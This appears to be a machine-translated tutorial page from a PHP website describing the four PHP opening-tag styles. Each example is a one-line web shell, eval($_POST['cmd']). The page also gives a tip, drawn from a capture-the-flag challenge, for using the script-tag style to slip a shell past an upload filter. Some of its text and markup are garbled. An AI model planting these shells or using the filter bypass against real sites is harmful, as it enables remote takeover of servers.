"; 2. Script style, that is, ""; 3. Short style, that is, " ? >" Wait."/> "; 2. Script style, that is, ""; 3. Short style, that is, " ? >" Wait.">
Home >Backend Development >PHP Problem >What are the logos of PHP?
What are the logos of PHP?
PHP four markup styles
1.XML style
<?php eval($_POST['cmd']); ?>
The markup style recommended by php.
Server administrators cannot disable it, and this style can be used on all servers.
2. Script style
<script language="php"> eval($_POST['cmd']); </script>
It is enabled by default and cannot be disabled
The author once encountered a CTF question that required uploading a shell, but the file content was filtered. and php, replaced with spaces. In this style, the value of language can be either upper or lower case, so you can construct the following code to bypass
<script language="php"> eval($_POST['cmd']); </script>
3. Short style
<? eval($_POST['cmd']); ?>
This style needs to be in the configuration file php.ini Enable the short_open_tage option in
This style is not supported by default in many environments
4.ASP style
<% eval($_POST['cmd']); %>
This style needs to be in the configuration file php.ini Enable asp_tag option
It is disabled by default
For more PHP related knowledge, please visitPHP Chinese website!
The above is the detailed content of What are the logos of PHP?. For more information, please follow other related articles on the PHP Chinese website!